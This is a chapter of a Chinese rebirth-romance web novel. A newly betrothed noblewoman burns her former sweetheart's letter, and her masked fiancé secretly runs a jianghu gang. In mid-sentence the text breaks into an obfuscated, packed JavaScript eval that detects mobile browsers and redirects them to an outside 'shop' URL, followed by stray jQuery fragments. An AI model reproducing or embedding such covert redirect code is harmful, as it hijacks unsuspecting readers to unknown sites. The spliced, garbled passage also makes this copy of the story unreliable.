说起京城里的这些贵人家,蜜珠最不了解的,就是南宁王府了。


    在赐婚圣旨送来之前,她从未放过半点多余的注意力,到这户人家身上。直到皇上一张圣旨送来,让她三个月后与南宁世子成亲。


    “小姐,小姐…你醒醒。”


    耳边传来了熟悉的丫鬟小柳儿的声音。


    蜜珠没有应。


    “夫、夫人,小姐倘是太高兴了才会晕过去。”


    小柳儿结结巴巴,一边帮蜜珠擦了擦脸上的虚汗,一边悄悄把小姐袖子里的荷包拿走,藏到了自己背后。


    ——这里装的可是曲公子的亲笔信!可不能被任何人瞧见了。


    啊啊啊曲公子前脚约小姐夜半相会,后脚就来了圣旨赐婚,这不是拆散一对苦命鸳鸯嘛。


    蜜珠还未睁眼,所以并未察觉自己袖子里的荷包,已经被小柳儿拿走,她这会儿半梦半醒,像是被困在了梦境中,怎么都醒不过来,只听到娘在床边叹气。


    “你不用帮她遮掩了,我都知道…”


    王氏愁容满面,一张脸上过早爬上了许多细纹,瞧着就像是失去了雨露滋润的柳条,已经有了泛黄枯萎的架势,但模样还是极美的,很有江南女子的婉约。


    “将那荷包烧了。日后不许门房再放外人送的东西进来…咳咳。”


    王氏一边咳嗽,一边用帕子捂住了嘴。


    不管从前那曲立封和女儿之间,是如何的情投意合,往后都是再无可能的了。


    她摸着女儿的脸,见她紧闭双眸还未转醒,但却依然一副海棠盛开的绝色姿容,心中不免泛起许多担忧与苦涩。


    她生了个这般好相貌的明珠,以至于哪怕已经谨小慎微不出风头,依然把名声传了出去,才给女儿惹来了这么一桩,叫人无法违心说一句好的亲事。


    平心而论,南宁王世子不好吗?


    哎,此事三言两语也说不清。


    蜜珠一直昏沉睡着,好不容易挣脱了梦魇,睁开双眸时,就见小柳儿蹦过来,红着眼圈对她道。


    “小姐!太好了,你终于醒了。”


    比起蜜珠,小柳儿作为贴身丫鬟还要再小上个两岁,再加上心性单纯,遇到事情就容易没有章法,平日里又有些胆小。


    这会儿圣旨赐婚的事,和曲公子传信要蜜珠见面的事儿,撞到了一起,顿时就叫这个小丫鬟六神无主了。


    早先被她藏起来的荷包,都快被她掌心的汗水打湿了,攥久了,皱巴巴的,都没了之前的那种好看。


    “小姐,夫人好像发现您和曲公子写信的事儿了,还让我把荷包烧了,往后不再放门房送任何外人的东西进来。”


    “老爷今日休沐,方才和同僚出门了。”


    “夫人请了大夫来看过你,这会儿去前厅了。”


    “大夫说你只是一时受惊,并无大碍,缓过来养养心神就好。”


    “我没叫夫人看到荷包,藏起来了。”


    小柳儿语气紧张,说话很密,恨不得把蜜珠在晕过去的这段时间里,发生的所有事情,都全部说一遍。


    蜜珠眨了眨眼,那双格外明亮水润的杏眼,就这么盯着小柳儿看了一会儿,像是不认识了对方一般。


    “…小姐?小姐?”


    小柳儿缩了缩脖子,还有些肉乎的脸蛋,瞧着白嫩嫩的,显露出几分稚气,一看就经不起吓。


    那是蜜珠记忆里,小柳儿从前还未长开的模样——不曾被打骂、恐吓、威胁、磋磨,凋谢。也不曾被自己连累,最后哀愁死去。


    想起来了。


    上辈子的一切飞快从脑海浮现,蜜珠抬起柔弱无骨的手,轻轻按住眉心。


    她重活了一世,回到了还未铸成大错,依然身处闺阁的时候。


    也是刚刚得到了圣旨赐婚,前世崩溃大哭的时候。


    到底是死过一回的人了,蜜珠发觉自己是如此平静。


    “荷包呢。”她轻声开口,终于打破了小柳儿在她沉默中的慌乱状态。


    “在这儿,我藏着呢。”


    小柳儿见小姐终于开口了,忙不迭把荷包递过去,就像从身上卸下了一块大石头一般,整个人活了过来,轻吁了口气。


    蜜珠接过这个前世将她拉入了万丈深渊的荷包,十根水润青葱的手指,轻轻解开绳结,将那里面藏了的纸团拿了出来。


    “火折子。”蜜珠微微抬眸,看向小柳儿,手指勾了勾,莫名有些惑人。


    她模样本就生得好,红唇不点而朱,哪怕此刻不做什么表情的样子,也颇有一股神仙妃子的明艳,那双剪水双瞳朝着小柳儿看去时,后者呆了呆才反应过来。


    “哦。”小柳儿小跑着去去拿火折子,递给蜜珠。


    怪哉呀,小姐怎的变好看了呢。


    瞧着蜜珠的一举一动,小柳儿都忍不住愣神。明明脸蛋还是那张,没有变,但浑身气度与威仪,怎么看都像是多添了几分不一样的韵味。


    “哎呀!小姐!”小柳儿瞧着蜜珠的动作,猛不丁叫了出来。


    她亲手递过去的火折子,将纸团点燃了,轻松燃起了烟雾。


    蜜珠把荷包里的信烧掉了。


    “小姐!小姐!烧了它怎生是好!”小柳儿在一旁急得跳脚。


    ——这可是曲公子的亲笔信啊!小姐怎么会把它烧掉啊。


    在小柳儿眼中,自家小姐什么都好,出身富贵,又长得如此花容月貌,性情又是不必说的温和,反正什么样子的乘龙快婿都配得上。


    可是偏偏…小姐青梅竹马一起长大的曲公子,运道有些不好,半路上家道中落,比起其他家的公子,自然少了一点儿和小姐在一起的底气。


    本来这二人哪怕两情相悦,也总是背着老爷夫人,想着要等曲公子金榜题名了再来提亲,这就已经够难的了,而今却突然冒出来了陛下亲自赐婚。


    这…眼瞅着这对鸳鸯就要被棒打。


    想着前路,小柳儿都替自家小姐捏一把汗。


    这两人要如何才能真正走到一起呀。而今小姐竟然连曲公子的信都烧了…


    小姐莫不是因为圣旨赐婚的事,被刺激了,才会做出这样的举动?


    小姐瞧着怪怪的。


    “小…小姐…”


    瞧着蜜珠镇定自若的将烧了的纸团,轻轻扔在地上。再看着它一点点变成灰烬,小柳儿竟是不敢说什么。


    “柳儿,以后就照我娘说的那样做。门房再有什么东西递进来,一概不要。”


    蜜珠终于抬眸,看向小柳儿,轻声开口。


    小柳儿心里是一百个不明白为什么,却又不敢开口问。


    能让门房递东西进来的,多半是曲公子啊。


    往常小姐总是左盼右盼,望穿秋水一般等信,每封信都可宝贝的贴身藏在枕头下面,时不时就要拿出来看看。


    这…


    小姐从前那么喜欢曲公子呢,难道连他写过来的信,送的东西也不要了么?


    她迟钝的记忆,还停留在自家小姐和曲公子两情相悦,这两人才是天造地设一对的印象上。


    蜜珠瞧出来柳儿的困惑,想了想,一字一句对她道。


    “柳儿,你记住,圣旨已接。我将来是必定要嫁进南宁王府的,这个时候若和其他男子有什么往来,被人传出个私相授受的名头,不仅是我的名声,就连整个府里所有的女眷,都会因此受影响,往后婚配嫁娶困难,相比之下是小事。”


    “重要的是,圣上也会因此责罚我爹,牵连整个太史令府。”


    “何为重,何为轻,能分清么?”


    在小柳儿印象中,自家小姐性情温柔,从来没有用过这么严肃的语气说话。


    虽然讲话时,那张脸还是美的,却因着这格外郑重的语气,和仿佛能看穿自己的眼神,一下子让小柳儿就跟被寒冬腊月里的冷水,兜头浇了一盆似的,整个人都醒了过来,意识到了曲公子私底下给小姐送信,这件事的严重性。


    是哦。


    她家小姐已经被赐婚了。


    这可是当今皇帝赐的婚,哪里能有拒绝的余地。万一皇帝不高兴了,他要杀头…


    “我知道了小姐。可不敢再收曲公子的信…”


    小柳儿呐呐抿着唇,脸都被蜜珠这番话吓白了。


    见小柳儿听懂了自己的意思,蜜珠脸上神情松缓了些许,摸了摸对方脑顶。


    “不是怪你。”


    “我与曲立封之间,本就有缘无分。从前发生了什么,就且不提了。而今圣旨全京都知道,从此刻开始,就该忘记和他过去的一切前尘往事。”


    “就当这个人不存在。记住了?”


    蜜珠轻声细语,但话却显得很锋利,放在从前,她是万万说不出如此犀利直白果决的话的。


    可任凭谁经历过一世磋磨,再重新回到当初,都会和她一样改变的。


    小柳儿虽然也觉得自家小姐,瞧着和从前不一样了,但她心性简单,又是个忠心的性子,只要蜜珠和她叮嘱过的事情,她就会放在心上。


    “好,我会记住的小姐。”小柳儿乖乖点头。


    这副模样,恍惚间让蜜珠想起了小柳儿前世惨死的样子,一种迟来的锥心之痛冒出,蜜珠收回了抚摸小柳儿脑顶的手,有些难言的愧疚。


    她不会再让上辈子的事情发生了。


    只要不再被猪油蒙了心,与曲立封发生交集,不走错姻缘这步路,就不会再落入上辈子那样的境地,也不会因此而连累爹娘和整个蜜府。


    蜜珠将自己的思绪收回,不再沉浸于上辈子的情绪里。


    眼下最要紧的事情,还是处理好曲立封,将自己落在对方身上的定情信物收回来。


    南宁王世子虽然自幼痴傻,身子也病弱,但到底是京中一门显贵。


    这桩婚事是陛下所安排,她若是在这中间出了点什么差错,不仅是落的南宁王的面子,还是触怒龙颜。


    想想真是好笑,上辈子她是怎么了,竟然会一厢情愿以为青梅竹马的曲立封是个良人,一头脑热的跳进火坑,甚至甘愿为对方违了圣旨。


    也就是前世运气好,圣旨赐婚后不久,南宁王世子忽然暴病而亡,让这桩婚事不再作数。


    才有了她后来和曲立封在一起成亲的事。


    否则…


    蜜珠心中思忖着这些,开始梳理接下来要做的事。


    曲立封并不是什么君子,这一点蜜珠上辈子已经领教了个彻底。


    从自己选择与曲立封私奔,又在事后拿出所有嫁妆填补对方,就是走了一步将来必定会后悔的路。


    曲立封功成名就成为首辅时,她成了弃子。对方说自己另有所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078456|137955||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱之人,然后将她软禁,就连自由都不给。


    可叹她那时家中已经无人能给她撑腰,只能这么郁郁而终。


    而跟在她身边的小柳儿,也因为她受了无数的磋磨…


    天色渐晚,蜜珠坐在了梳妆桌前,看着铜镜里的自己,摸了摸鬓发。


    十几岁时的绝色容颜回来了,不再是上辈子郁郁而终时,那么疲惫憔悴与苍白的模样。


    无论是因为什么样的原因,重活了一世。


    她都下定决心,这辈子一定会好好活,不辜负自己。


    *


    “少主,这门婚事成了,咱们还能出京城吗?”


    马背上的黑衣男子,看向前方领头的那人,语气里满是茫然。


    怎么回事啊。


    少主都在京城傻了十七年了,连皇宫都很少进,在外人眼里,就是个大门不出二门不迈,需要在家里好好养着的傻药罐子。


    皇帝也不知道怎么了,竟然想着给少主指一门婚。


    给傻子指婚,谁家好闺女愿意?


    哎,这不是强买强卖嘛。


    当然,重要的不是这个,重要的是——少主这个在别人眼里傻了的世子,倘若真的成了亲,有了枕边人,往后岂不就跟鹰被套住了爪子,马被套上了脖子,不自由了?


    谁能在媳妇底下装傻,还跑出那么远,离开京城?


    这样的话,他们那些事儿没了少主管着罩着,岂不是要乱!


    黑子想着这些,脸上的汗都流的快了一些。


    “少主,你回我一声啊。你要成亲了,这咋办?”


    在他前面的男子,勒住了马缰绳,不冷不淡回了一句。


    “娶呗。”


    黑子被这话噎了一下,缓了缓,才策马追上去。


    “不是,少主啊。这可是成亲,是关乎一辈子的终身大事。你咋能认命!”


    “万一那皇帝给你塞了个丑婆娘,哦,一个泼妇,你也娶?”


    帮派里的局势,好不容易因为少主稳定下来,咋能这个时候让少主当甩手掌柜。


    追到了少主跟前时,只能看到少主戴了面具后,露出来的一截下巴。


    这么久了,黑子都没见过自家少主的庐山真面目,只猜测对方是不是脸上受过什么伤,或者长得有些不尽如人意,才不想让人看到?


    害,但江湖中人嘛,都是不拘小节的真英雄,哪里还会因为男儿的一张脸,去挑剔个什么。


    大概也是因为少主出身皇族权贵,才会那么金贵,在乎那么多。


    听说京城里的那些姑娘啊,都爱追捧那些个俊俏的男子。


    啧啧啧,这样一想,皇帝老儿给少主安排的这门亲事,多半都好不到哪里去。


    正经人家的漂亮好闺女,哪里愿意嫁给传说中的痴傻南宁王世子,当个将来一辈子独守空房的老尼?


    被称作少主的男子,面具后的唇扯了扯。


    “你跟了我这么久,帮派里的事若还不能独当一面,要你何用?”


    一句话直接把黑子说的哑了声,他试图转移话题。


    “少主,不若我帮你暗中去查查,看看你那素未谋面的未婚妻,是个什么模样。万一…”


    黑子想开个玩笑,说万一是个丑婆娘,那不如帮少主暗中解决,制造点不能在一起的意外。


    然而他的话还没说完,戴着一张木质面具的男子,幽深的双眸看了过来。


    这哪里是什么好脾气的豪门贵公子啊,明明就是会噬人的猛虎。


    黑子的声音戛然而止,心口凉飕飕,仿佛被戳了一剑。


    完了要忘了,少主可不是什么好开玩笑的人。


    帮派里那么多手里沾了无辜人命的人,在少主这儿就跟扒了层皮似的,没一个有好下场,可谓是把帮派里的毒瘤给清理了个干净。


    黑子毫不怀疑,倘若自己真有那些个什么歪心思,为了阻止少主企图对那无辜未婚妻做点什么,少主会先动手把自己宰了。


    “开玩笑,我就是开玩笑,嘿嘿掌嘴,我自己掌嘴。”黑子连忙赔笑,扇了自己两耳光,又轻又脆,用行动来表示自己刚才那些话都是随口说的。


    不过…说真的,他是真挺好奇,少主那未婚妻是个什么模样的。


    毕竟此次回京,晴姑娘私底下拜托过他,若是知道了少主未婚妻是何方神圣,麻烦给她修书一封写在信里。


    想到晴姑娘对少主的痴心一片,他就想叹息。


    少主这人瞧着有情有义,又能为百姓做些好事,但骨子里却是个冷情的,压根就没有什么儿女情长的心思在。


    倘若将来真的有一天,有哪个姑娘能让少主如痴如狂情根深种。


    诶嘿,他可要好好开眼了。


    *


    选择在如此静寂的深夜出门,于蜜珠来说,是第二次。


    第一次在前世。


    曲立封在赐婚圣旨到来的前一日,给她写了信,让她在第二日深夜,在后山相会。


    用脑袋想也知道,男未婚女未嫁,但凡是正人君子都不会趁着深夜,去拐一个千金小姐出来幽会,但凡被人抓到就是个名节扫地。


    偏偏前世她被曲立封的花言巧语冲昏了头脑,什么危险都顾不上了,一门心思想着要和曲立封双宿双飞,有那样的下场也是咎由自取。